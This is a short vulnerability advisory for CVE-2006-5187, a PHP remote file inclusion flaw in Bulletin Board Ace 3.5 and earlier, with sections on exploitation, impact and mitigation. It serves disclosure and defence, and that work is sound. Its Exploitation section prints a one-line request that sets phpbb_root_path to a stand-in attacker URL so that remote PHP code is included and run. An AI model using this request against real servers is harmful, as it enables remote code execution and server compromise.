CVE-2006-5187

Vulnerability

Bulletin Board Ace (BBaCE) version 3.5 and earlier contains a PHP remote file inclusion vulnerability in the file includes/functions.php. The script unsafely incorporates a user-supplied value from the phpbb_root_path parameter into a require() or include() statement, allowing an attacker to specify an arbitrary URL. This issue is documented in advisory [1] and exploit code [2].

Exploitation

An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable includes/functions.php script with the phpbb_root_path parameter set to the URL of a malicious PHP script hosted on an attacker-controlled server. No authentication is required; the attacker only needs network access to the target server. The exploit code [2] demonstrates the simple request format: http://target/[path]/includes/functions.php?phpbb_root_path=http://evil_script.

Impact

Successful exploitation allows the attacker to execute arbitrary PHP code on the target server with the privileges of the web server process. This can lead to full compromise of the application and potentially the underlying server, including data theft, defacement, or further lateral movement.

Mitigation

No official patch or fixed version has been released for BBaCE 3.5 or earlier. The application appears to be abandoned; users should consider migrating to an alternative forum software. As a temporary workaround, disable the vulnerable script or apply input validation to the phpbb_root_path parameter, though this is not a complete solution.